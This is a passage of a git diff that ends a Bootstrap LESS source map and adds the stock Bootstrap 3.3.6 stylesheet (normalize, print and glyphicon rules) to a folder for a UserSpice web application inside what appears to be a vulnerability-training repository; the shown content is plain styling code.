.btn-styles(@btn-danger-bg); }\n\n\n//\n// Images\n// --------------------------------------------------\n\n.thumbnail,\n.img-thumbnail {\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n\n\n//\n// Dropdowns\n// --------------------------------------------------\n\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-hover-bg; @end-color: darken(@dropdown-link-hover-bg, 5%));\n background-color: darken(@dropdown-link-hover-bg, 5%);\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n background-color: darken(@dropdown-link-active-bg, 5%);\n}\n\n\n//\n// Navbar\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n #gradient > .vertical(@start-color: lighten(@navbar-default-bg, 10%); @end-color: @navbar-default-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered\n border-radius: @navbar-border-radius;\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 5px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: darken(@navbar-default-link-active-bg, 5%); @end-color: darken(@navbar-default-link-active-bg, 2%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.075));\n }\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255,255,255,.25);\n}\n\n// Inverted navbar\n.navbar-inverse {\n #gradient > .vertical(@start-color: lighten(@navbar-inverse-bg, 10%); @end-color: @navbar-inverse-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered; see https://github.com/twbs/bootstrap/issues/10257\n border-radius: @navbar-border-radius;\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: @navbar-inverse-link-active-bg; @end-color: lighten(@navbar-inverse-link-active-bg, 2.5%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.25));\n }\n\n .navbar-brand,\n .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0,0,0,.25);\n }\n}\n\n// Undo rounded corners in static and fixed navbars\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n\n// Fix active state of dropdown items in collapsed mode\n@media (max-width: @grid-float-breakpoint-max) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: #fff;\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n }\n }\n}\n\n\n//\n// Alerts\n// --------------------------------------------------\n\n// Common styles\n.alert {\n text-shadow: 0 1px 0 rgba(255,255,255,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.25), 0 1px 2px rgba(0,0,0,.05);\n .box-shadow(@shadow);\n}\n\n// Mixin for generating new styles\n.alert-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 7.5%));\n border-color: darken(@color, 15%);\n}\n\n// Apply the mixin to the alerts\n.alert-success { .alert-styles(@alert-success-bg); }\n.alert-info { .alert-styles(@alert-info-bg); }\n.alert-warning { .alert-styles(@alert-warning-bg); }\n.alert-danger { .alert-styles(@alert-danger-bg); }\n\n\n//\n// Progress bars\n// --------------------------------------------------\n\n// Give the progress background some depth\n.progress {\n #gradient > .vertical(@start-color: darken(@progress-bg, 4%); @end-color: @progress-bg)\n}\n\n// Mixin for generating new styles\n.progress-bar-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 10%));\n}\n\n// Apply the mixin to the progress bars\n.progress-bar { .progress-bar-styles(@progress-bar-bg); }\n.progress-bar-success { .progress-bar-styles(@progress-bar-success-bg); }\n.progress-bar-info { .progress-bar-styles(@progress-bar-info-bg); }\n.progress-bar-warning { .progress-bar-styles(@progress-bar-warning-bg); }\n.progress-bar-danger { .progress-bar-styles(@progress-bar-danger-bg); }\n\n// Reset the striped class because our mixins don't do multiple gradients and\n// the above custom styles override the new `.progress-bar-striped` in v3.2.0.\n.progress-bar-striped {\n #gradient > .striped();\n}\n\n\n//\n// List groups\n// --------------------------------------------------\n\n.list-group {\n border-radius: @border-radius-base;\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 darken(@list-group-active-bg, 10%);\n #gradient > .vertical(@start-color: @list-group-active-bg; @end-color: darken(@list-group-active-bg, 7.5%));\n border-color: darken(@list-group-active-border, 7.5%);\n\n .badge {\n text-shadow: none;\n }\n}\n\n\n//\n// Panels\n// --------------------------------------------------\n\n// Common styles\n.panel {\n .box-shadow(0 1px 2px rgba(0,0,0,.05));\n}\n\n// Mixin for generating new styles\n.panel-heading-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 5%));\n}\n\n// Apply the mixin to the panel headings only\n.panel-default > .panel-heading { .panel-heading-styles(@panel-default-heading-bg); }\n.panel-primary > .panel-heading { .panel-heading-styles(@panel-primary-heading-bg); }\n.panel-success > .panel-heading { .panel-heading-styles(@panel-success-heading-bg); }\n.panel-info > .panel-heading { .panel-heading-styles(@panel-info-heading-bg); }\n.panel-warning > .panel-heading { .panel-heading-styles(@panel-warning-heading-bg); }\n.panel-danger > .panel-heading { .panel-heading-styles(@panel-danger-heading-bg); }\n\n\n//\n// Wells\n// --------------------------------------------------\n\n.well {\n #gradient > .vertical(@start-color: darken(@well-bg, 5%); @end-color: @well-bg);\n border-color: darken(@well-bg, 10%);\n @shadow: inset 0 1px 3px rgba(0,0,0,.05), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n"]} \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap.css new file mode 100644 index 000000000..af8344f73 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap.css @@ -0,0 +1,6760 @@ +/*! + * Bootstrap v3.3.6 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */ +html { + font-family: sans-serif; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; +} +body { + margin: 0; +} +article, +aside, +details, +figcaption, +figure, +footer, +header, +hgroup, +main, +menu, +nav, +section, +summary { + display: block; +} +audio, +canvas, +progress, +video { + display: inline-block; + vertical-align: baseline; +} +audio:not([controls]) { + display: none; + height: 0; +} +[hidden], +template { + display: none; +} +a { + background-color: transparent; +} +a:active, +a:hover { + outline: 0; +} +abbr[title] { + border-bottom: 1px dotted; +} +b, +strong { + font-weight: bold; +} +dfn { + font-style: italic; +} +h1 { + margin: .67em 0; + font-size: 2em; +} +mark { + color: #000; + background: #ff0; +} +small { + font-size: 80%; +} +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline; +} +sup { + top: -.5em; +} +sub { + bottom: -.25em; +} +img { + border: 0; +} +svg:not(:root) { + overflow: hidden; +} +figure { + margin: 1em 40px; +} +hr { + height: 0; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} +pre { + overflow: auto; +} +code, +kbd, +pre, +samp { + font-family: monospace, monospace; + font-size: 1em; +} +button, +input, +optgroup, +select, +textarea { + margin: 0; + font: inherit; + color: inherit; +} +button { + overflow: visible; +} +button, +select { + text-transform: none; +} +button, +html input[type="button"], +input[type="reset"], +input[type="submit"] { + -webkit-appearance: button; + cursor: pointer; +} +button[disabled], +html input[disabled] { + cursor: default; +} +button::-moz-focus-inner, +input::-moz-focus-inner { + padding: 0; + border: 0; +} +input { + line-height: normal; +} +input[type="checkbox"], +input[type="radio"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + padding: 0; +} +input[type="number"]::-webkit-inner-spin-button, +input[type="number"]::-webkit-outer-spin-button { + height: auto; +} +input[type="search"] { + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; + -webkit-appearance: textfield; +} +input[type="search"]::-webkit-search-cancel-button, +input[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} +fieldset { + padding: .35em .625em .75em; + margin: 0 2px; + border: 1px solid #c0c0c0; +} +legend { + padding: 0; + border: 0; +} +textarea { + overflow: auto; +} +optgroup { + font-weight: bold; +} +table { + border-spacing: 0; + border-collapse: collapse; +} +td, +th { + padding: 0; +} +/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */ +@media print { + *, + *:before, + *:after { + color: #000 !important; + text-shadow: none !important; + background: transparent !important; + -webkit-box-shadow: none !important; + box-shadow: none !important; + } + a, + a:visited { + text-decoration: underline; + } + a[href]:after { + content: " (" attr(href) ")"; + } + abbr[title]:after { + content: " (" attr(title) ")"; + } + a[href^="#"]:after, + a[href^="javascript:"]:after { + content: ""; + } + pre, + blockquote { + border: 1px solid #999; + + page-break-inside: avoid; + } + thead { + display: table-header-group; + } + tr, + img { + page-break-inside: avoid; + } + img { + max-width: 100% !important; + } + p, + h2, + h3 { + orphans: 3; + widows: 3; + } + h2, + h3 { + page-break-after: avoid; + } + .navbar { + display: none; + } + .btn > .caret, + .dropup > .btn > .caret { + border-top-color: #000 !important; + } + .label { + border: 1px solid #000; + } + .table { + border-collapse: collapse !important; + } + .table td, + .table th { + background-color: #fff !important; + } + .table-bordered th, + .table-bordered td { + border: 1px solid #ddd !important; + } +} +@font-face { + font-family: 'Glyphicons Halflings'; + + src: url('../fonts/glyphicons-halflings-regular.eot'); + src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg'); +} +.glyphicon { + position: relative; + top: 1px; + display: inline-block; + font-family: 'Glyphicons Halflings'; + font-style: normal; + font-weight: normal; + line-height: 1; + + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} +.glyphicon-asterisk:before { + content: "\002a"; +} +.glyphicon-plus:before { + content: "\002b"; +} +.glyphicon-euro:before, +.glyphicon-eur:before { + content: "\20ac"; +} +.glyphicon-minus:before { + content: "\2212"; +} +.glyphicon-cloud:before { + content: "\2601"; +} +.glyphicon-envelope:before { + content: "\2709"; +} +.glyphicon-pencil:before { + content: "\270f"; +} +.glyphicon-glass:before { + content: "\e001"; +} +.glyphicon-music:before { + content: "\e002"; +} +.glyphicon-search:before { + content: "\e003"; +} +.glyphicon-heart:before { + content: "\e005"; +} +.glyphicon-star:before { + content: "\e006"; +} +.glyphicon-star-empty:before { + content: "\e007"; +} +.glyphicon-user:before { + content: "\e008"; +} +.glyphicon-film:before { + content: "\e009"; +} +.glyphicon-th-large:before { + content: "\e010"; +} +.glyphicon-th:before { + content: "\e011"; +} +.glyphicon-th-list:before { + content: "\e012"; +} +.glyphicon-ok:before { + content: "\e013"; +} +.glyphicon-remove:before { + content: "\e014"; +} +.glyphicon-zoom-in:before { + content: "\e015"; +} +.glyphicon-zoom-out:before { + content: "\e016"; +} +.glyphicon-off:before { + content: "\e017"; +} +.glyphicon-signal:before { + content: "\e018"; +} +.glyphicon-cog:before { + content: "\e019"; +} +.glyphicon-trash:before { + content: "\e020"; +} +.glyphicon-home:before { + content: "\e021"; +} +.glyphicon-file:before { + content: "\e022"; +} +.glyphicon-time:before { + content: "\e023"; +} +.glyphicon-road:before { + content: "\e024"; +} +.glyphicon-download-alt:before { + content: "\e025"; +} +.glyphicon-download:before { + content: "\e026"; +} +.glyphicon-upload:before { + content: "\e027"; +} +.glyphicon-inbox:before { + content: "\e028"; +} +.glyphicon-play-circle:before { + content: "\e029"; +} +.glyphicon-repeat:before { + content: "\e030"; +} +.glyphicon-refresh:before { + content: "\e031"; +} +.glyphicon-list-alt:before { + content: "\e032"; +} +.glyphicon-lock:before { + content: "\e033"; +} +.glyphicon-flag:before { + content: "\e034"; +} +.glyphicon-headphones:before { + content: "\e035"; +} +.glyphicon-volume-off:before { + content: "\e036"; +} +.glyphicon-volume-down:before { + content: "\e037"; +} +.glyphicon-volume-up:before { + content: "\e038"; +} +.glyphicon-qrcode:before { + content: "\e039"; +} +.glyphicon-barcode:before { + content: "\e040"; +} +.glyphicon-tag:before { + content: "\e041"; +} +.glyphicon-tags:before { + content: "\e042"; +} +.glyphicon-book:before { + content: "\e043"; +} +.glyphicon-bookmark:before { + content: "\e044"; +} +.glyphicon-print:before { + content: "\e045"; +} +.glyphicon-camera:before { + content: "\e046"; +} +.glyphicon-font:before { + content: "\e047"; +} +.glyphicon-bold:before { + content: "\e048"; +} +.glyphicon-italic:before { + content: "\e049"; +} +.glyphicon-text-height:before { + content: "\e050"; +} +.glyphicon-text-width:before { + content: "\e051"; +} +.glyphicon-align-left:before { + content: "\e052"; +} +.glyphicon-align-center:before { + content: "\e053"; +} +.glyphicon-align-right:before { + content: "\e054"; +} +.glyphicon-align-justify:before { + content: "\e055"; +} +.glyphicon-list:before { + content: "\e056"; +} +.glyphicon-indent-left:before { + content: "\e057"; +} +.glyphicon-indent-right:before { + content: "\e058"; +} +.glyphicon-facetime-video:before { + content: "\e059"; +} +.glyphicon-picture:before { + content: "\e060"; +} +.glyphicon-map-marker:before { + content: "\e062"; +} +.glyphicon-adjust:before { + content: "\e063"; +} +.glyphicon-tint:before { + content: "\e064"; +} +.glyphicon-edit:before { + content: "\e065"; +} +.glyphicon-share:before { + content: "\e066"; +} +.glyphicon-check:before { + content: "\e067"; +} +.glyphicon-move:before { + content: "\e068"; +} +.glyphicon-step-backward:before { + content: "\e069"; +} +.glyphicon-fast-backward:before { + content: "\e070"; +} +.glyphicon-backward:before { + content: "\e071"; +} +.glyphicon-play:before { + content: "\e072"; +} +.glyphicon-pause:before { + content: "\e073"; +} +.glyphicon-stop:before { + content: "\e074"; +} +.glyphicon-forward:before { + content: "\e075"; +} +.glyphicon-fast-forward:before { + content: "\e076"; +} +.glyphicon-step-forward:before { + content: "\e077"; +} +.glyphicon-eject:before { + content: "\e078"; +} +.glyphicon-chevron-left:before { + content: "\e079"; +} +.glyphicon-chevron-right:before { + content: "\e080"; +} +.glyphicon-plus-sign:before { + content: "\e081"; +} +.glyphicon-minus-sign:before { + content: "\e082"; +} +.glyphicon-remove-sign:before { + content: "\e083"; +} +.glyphicon-ok-sign:before { + content: "\e084"; +} +.glyphicon-question-sign:before { + content: "\e085"; +} +.glyphicon-info-sign:before { + content: "\e086"; +} +.glyphicon-screenshot:before { + content: "\e087"; +} +.glyphicon-remove-circle:before { + content: "\e088"; +} +.glyphicon-ok-circle:before { + content: "\e089"; +} +.glyphicon-ban-circle:before { + content: "\e090"; +} +.glyphicon-arrow-left:before { + content: "\e091"; +} +.glyphicon-arrow-right:before { + content: "\e092"; +} +.glyphicon-arrow-up:before { + content: "\e093"; +} +.glyphicon-arrow-down:before { + content: "\e094"; +} +.glyphicon-share-alt:before { + content: "\e095"; +} +.glyphicon-resize-full:before { + content: "\e096"; +} +.glyphicon-resize-small:before { + content: "\e097"; +} +.glyphicon-exclamation-sign:before { + content: "\e101"; +} +.glyphicon-gift:before { + content: "\e102"; +} +.glyphicon-leaf:before { + content: "\e103"; +} +.glyphicon-fire:before { + content: "\e104"; +} +.glyphicon-eye-open:before { + content: "\e105"; +} +.glyphicon-eye-close:before { + content: "\e106"; +} +.glyphicon-warning-sign:before { + content: "\e107"; +} +.glyphicon-plane:before { + content: "\e108"; +} +.glyphicon-calendar:before { + content: "\e109"; +} +.glyphicon-random:before { + content: "\e110"; +} +.glyphicon-comment:before { + content: "\e111"; +} +.glyphicon-magnet:before { + content: "\e112"; +} +.glyphicon-chevron-up:before { + content: "\e113"; +} +.glyphicon-chevron-down:before { + content: "\e114"; +} +.glyphicon-retweet:before { + content: "\e115"; +} +.glyphicon-shopping-cart:before { + content: "\e116"; +} +.glyphicon-folder-close:before { + content: "\e117"; +} +.glyphicon-folder-open:before { + content: "\e118"; +} +.glyphicon-resize-vertical:before { + content: "\e119"; +} +.glyphicon-resize-horizontal:before { + content: "\e120"; +} +.glyphicon-hdd:before { + content: "\e121"; +} +.glyphicon-bullhorn:before { + content: "\e122"; +} +.glyphicon-bell:before { + content: "\e123"; +} +.glyphicon-certificate:before { + content: "\e124"; +} +.glyphicon-thumbs-up:before { + content: "\e125"; +} +.glyphicon-thumbs-down:before { + content: "\e126"; +} +.glyphicon-hand-right:before { + content: "\e127"; +} +.glyphicon-hand-left:before { + content: "\e128"; +} +.glyphicon-hand-up:before { + content: "\e129"; +} +.glyphicon-hand-down:before { + content: "\e130"; +} +.glyphicon-circle-arrow-right:before { + content: "\e131"; +} +.glyphicon-circle-arrow-left:before { + content: "\e132"; +} +.glyphicon-circle-arrow-up:before { + content: "\e133"; +} +.glyphicon-circle-arrow-down:before { + content: "\e134"; +} +.glyphicon-globe:before { + content: "\e135"; +} +.glyphicon-wrench:before { + content: "\e136"; +} +.glyphicon-tasks:before { + content: "\e137"; +} +.glyphicon-filter:before { + content: "\e138"; +} +.glyphicon-briefcase:before { + content: "\e139"; +} +.glyphicon-fullscreen:before { + content: "\e140"; +} +.glyphicon-dashboard:before { + content: "\e141"; +} +.glyphicon-paperclip:before { + content: "\e142"; +} +.glyphicon-heart-empty:before { + content: "\e143"; +} +.glyphicon-link:before { + content: "\e144"; +} +.glyphicon-phone:before { + content: "\e145"; +} +.glyphicon-pushpin:before { + content: "\e146"; +} +.glyphicon-usd:before { + content: "\e148"; +} +.glyphicon-gbp:before { + content: "\e149"; +} +.glyphicon-sort:before { + content: "\e150"; +} +.glyphicon-sort-by-alphabet:before { + content: "\e151"; +} +.glyphicon-sort-by-alphabet-alt:before { + content: "\e152"; +} +.glyphicon-sort-by-order:before { + content: "\e153"; +} +.glyphicon-sort-by-order-alt:before { + content: "\e154"; +} +.glyphicon-sort-by-attributes:before { + content: "\e155"; +} +.glyphicon-sort-by-attributes-alt:before { + content: "\e156"; +} +.glyphicon-unchecked:before { + content: "\e157"; +} +.glyphicon-expand:before { + content: "\e158"; +} +.glyphicon-collapse-down:before { + content: "\e159"; +} +.glyphicon-collapse-up:before { + content: "\e160"; +} +.glyphicon-log-in:before { + content: "\e161"; +} +.glyphicon-flash:before { + content: "\e162"; +} +.glyphicon-log-out:before { + content: "\e163"; +} +.glyphicon-new-window:before { + content: "\e164"; +} +.glyphicon-record:before { + content: "\e165"; +} +.glyphicon-save:before { + content: "\e166"; +} +.glyphicon-open:before { + content: "\e167"; +} +.glyphicon-saved:before { + content: "\e168"; +} +.glyphicon-import:before { + content: "\e169"; +} +.glyphicon-export:before { + content: "\e170"; +} +.glyphicon-send:before { + content: "\e171"; +} +.glyphicon-floppy-disk:before { + content: "\e172"; +} +.glyphicon-floppy-saved:before { + content: "\e173"; +} +.glyphicon-floppy-remove:before { + content: "\e174"; +} +.glyphicon-floppy-save:before { + content: "\e175"; +} +.glyphicon-floppy-open:before { + content: "\e176"; +} +.glyphicon-credit-card:before { + content: "\e177"; +} +.glyphicon-transfer:before { + content: "\e178"; +} +.glyphicon-cutlery:before { + content: "\e179"; +} +.glyphicon-header:before { + content: "\e180"; +} +.glyphicon-compressed:before { + content: "\e181"; 